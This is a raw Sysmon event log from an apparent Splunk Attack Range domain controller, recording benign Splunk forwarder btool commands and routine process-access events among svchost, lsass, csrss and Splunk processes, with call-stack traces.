Files\SplunkUniversalForwarder\bin\Splunk.EXE+d8a0|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.253{A5F018FF-294C-5F80-F600-000000007F01}5032C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004661Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.228{A5F018FF-294B-5F80-F500-000000007F01}45964592C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.993{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294D-5F80-FE00-000000007F01}3272C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-FE00-000000007F01}3272C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-294D-5F80-FD00-000000007F01}47724796C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294D-5F80-FE00-000000007F01}3272C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.911{A5F018FF-294D-5F80-FE00-000000007F01}3272C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294D-5F80-FD00-000000007F01}4772C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list httpServer --no-log 10341000x80000000000000004768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294D-5F80-FD00-000000007F01}4772C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 